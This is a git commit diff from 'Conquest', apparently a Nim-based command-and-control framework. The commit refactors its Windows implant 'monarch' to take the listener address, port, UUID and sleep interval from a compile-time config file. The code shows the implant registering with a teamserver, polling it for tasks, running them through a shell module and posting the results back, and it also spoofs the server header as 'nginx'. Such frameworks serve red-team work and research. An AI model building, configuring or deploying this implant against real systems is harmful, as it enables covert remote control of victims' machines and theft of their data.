Agent utilizes configuration file (nim.cfg) and compile-time variables for listener information.
This commit is contained in:
3
.gitignore
vendored
3
.gitignore
vendored
@@ -2,8 +2,7 @@
|
|||||||
# agents/
|
# agents/
|
||||||
*.db
|
*.db
|
||||||
# Ignore binaries
|
# Ignore binaries
|
||||||
*/bin/*
|
bin/*
|
||||||
server/server
|
|
||||||
*.exe
|
*.exe
|
||||||
|
|
||||||
# Nim
|
# Nim
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
|
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
|
||||||
|
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" c $CONQUEST_ROOT/agents/monarch/client.nim
|
||||||
|
|||||||
@@ -4,6 +4,11 @@ import winim
|
|||||||
import ./[types, http, task]
|
import ./[types, http, task]
|
||||||
import commands/shell
|
import commands/shell
|
||||||
|
|
||||||
|
const ListenerUuid {.strdefine.}: string = ""
|
||||||
|
const ListenerIp {.strdefine.}: string = ""
|
||||||
|
const ListenerPort {.intdefine.}: int = 5555
|
||||||
|
const SleepDelay {.intdefine.}: int = 10
|
||||||
|
|
||||||
proc main() =
|
proc main() =
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -14,10 +19,21 @@ proc main() =
|
|||||||
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
|
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
|
||||||
]#
|
]#
|
||||||
|
|
||||||
# TODO: Read data from configuration file
|
# The agent configuration is read at compile time using define/-d statements in nim.cfg
|
||||||
|
# This configuration file can be dynamically generated from the teamserver management interface
|
||||||
|
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
|
||||||
|
when not defined(ListenerUuid) or not defined(ListenerIp) or not defined(ListenerPort) or not defined(SleepDelay):
|
||||||
|
echo "Missing agent configuration."
|
||||||
|
quit(0)
|
||||||
|
|
||||||
let listener = "HVVOGEOM"
|
let config = AgentConfig(
|
||||||
let agent = register(listener)
|
listener: ListenerUuid,
|
||||||
|
ip: ListenerIp,
|
||||||
|
port: ListenerPort,
|
||||||
|
sleep: SleepDelay
|
||||||
|
)
|
||||||
|
|
||||||
|
let agent = config.register()
|
||||||
echo fmt"[+] [{agent}] Agent registered."
|
echo fmt"[+] [{agent}] Agent registered."
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -30,13 +46,13 @@ proc main() =
|
|||||||
]#
|
]#
|
||||||
while true:
|
while true:
|
||||||
|
|
||||||
sleep(10 * 1000)
|
sleep(config.sleep * 1000)
|
||||||
|
|
||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
echo fmt"[{date}] Checking in."
|
echo fmt"[{date}] Checking in."
|
||||||
|
|
||||||
# Retrieve task queue from the teamserver for the current agent
|
# Retrieve task queue from the teamserver for the current agent
|
||||||
let tasks: seq[Task] = getTasks(listener, agent)
|
let tasks: seq[Task] = config.getTasks(agent)
|
||||||
|
|
||||||
if tasks.len <= 0:
|
if tasks.len <= 0:
|
||||||
echo "[*] No tasks to execute."
|
echo "[*] No tasks to execute."
|
||||||
@@ -45,7 +61,7 @@ proc main() =
|
|||||||
# Execute all retrieved tasks and return their output to the server
|
# Execute all retrieved tasks and return their output to the server
|
||||||
for task in tasks:
|
for task in tasks:
|
||||||
let result = task.handleTask()
|
let result = task.handleTask()
|
||||||
discard postResults(listener, agent, result)
|
discard config.postResults(agent, result)
|
||||||
|
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
main()
|
main()
|
||||||
@@ -2,7 +2,7 @@ import httpclient, json, strformat, asyncdispatch
|
|||||||
|
|
||||||
import ./[types, agentinfo]
|
import ./[types, agentinfo]
|
||||||
|
|
||||||
proc register*(listener: string): string =
|
proc register*(config: AgentConfig): string =
|
||||||
|
|
||||||
let client = newAsyncHttpClient()
|
let client = newAsyncHttpClient()
|
||||||
|
|
||||||
@@ -24,20 +24,20 @@ proc register*(listener: string): string =
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
# Register agent to the Conquest server
|
# Register agent to the Conquest server
|
||||||
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] [register]:", err.msg
|
echo "[-] [register]:", err.msg
|
||||||
quit(0)
|
quit(0)
|
||||||
finally:
|
finally:
|
||||||
client.close()
|
client.close()
|
||||||
|
|
||||||
proc getTasks*(listener: string, agent: string): seq[Task] =
|
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
|
||||||
|
|
||||||
let client = newAsyncHttpClient()
|
let client = newAsyncHttpClient()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Register agent to the Conquest server
|
# Register agent to the Conquest server
|
||||||
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
|
let responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||||
return parseJson(responseBody).to(seq[Task])
|
return parseJson(responseBody).to(seq[Task])
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
@@ -48,7 +48,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
|
|||||||
|
|
||||||
return @[]
|
return @[]
|
||||||
|
|
||||||
proc postResults*(listener, agent: string, task: Task): bool =
|
proc postResults*(config: AgentConfig, agent: string, task: Task): bool =
|
||||||
|
|
||||||
let client = newAsyncHttpClient()
|
let client = newAsyncHttpClient()
|
||||||
|
|
||||||
@@ -61,7 +61,7 @@ proc postResults*(listener, agent: string, task: Task): bool =
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
# Register agent to the Conquest server
|
# Register agent to the Conquest server
|
||||||
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
|
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{task.id}/results", $taskJson)
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||||
echo "[-] [postResults]: ", err.msg
|
echo "[-] [postResults]: ", err.msg
|
||||||
|
|||||||
5
agents/monarch/nim.cfg
Normal file
5
agents/monarch/nim.cfg
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
# Agent configuration
|
||||||
|
-d:ListenerUuid="HVVOGEOM"
|
||||||
|
-d:ListenerIp="localhost"
|
||||||
|
-d:ListenerPort=5555
|
||||||
|
-d:SleepDelay=10
|
||||||
@@ -46,3 +46,9 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
|
|||||||
wProductType*: UCHAR
|
wProductType*: UCHAR
|
||||||
wReserved*: UCHAR
|
wReserved*: UCHAR
|
||||||
|
|
||||||
|
type
|
||||||
|
AgentConfig* = object
|
||||||
|
listener*: string
|
||||||
|
ip*: string
|
||||||
|
port*: int
|
||||||
|
sleep*: int
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# Compiler flags
|
# Compiler flags
|
||||||
--threads:on
|
--threads:on
|
||||||
-d:httpxServerName="nginx"
|
-d:httpxServerName="nginx"
|
||||||
#--outdir:"../bin"
|
--outdir:"../bin"
|
||||||
@@ -125,7 +125,8 @@ proc main() =
|
|||||||
setControlCHook(exit)
|
setControlCHook(exit)
|
||||||
|
|
||||||
# Initialize framework
|
# Initialize framework
|
||||||
cq = initConquest()
|
let dbPath: string = "../server/db/conquest.db"
|
||||||
|
cq = initConquest(dbPath)
|
||||||
|
|
||||||
# Print header
|
# Print header
|
||||||
cq.header()
|
cq.header()
|
||||||
|
|||||||
@@ -135,11 +135,11 @@ proc delListener*(cq: Conquest, listenerName: string) =
|
|||||||
proc delAgent*(cq: Conquest, agentName: string) =
|
proc delAgent*(cq: Conquest, agentName: string) =
|
||||||
cq.agents.del(agentName)
|
cq.agents.del(agentName)
|
||||||
|
|
||||||
proc initConquest*(): Conquest =
|
proc initConquest*(dbPath: string): Conquest =
|
||||||
var cq = new Conquest
|
var cq = new Conquest
|
||||||
var prompt = Prompt.init()
|
var prompt = Prompt.init()
|
||||||
cq.prompt = prompt
|
cq.prompt = prompt
|
||||||
cq.dbPath = "db/conquest.db"
|
cq.dbPath = dbPath
|
||||||
cq.listeners = initTable[string, Listener]()
|
cq.listeners = initTable[string, Listener]()
|
||||||
cq.agents = initTable[string, Agent]()
|
cq.agents = initTable[string, Agent]()
|
||||||
cq.interactAgent = nil
|
cq.interactAgent = nil
|
||||||
|
|||||||
Reference in New Issue
Block a user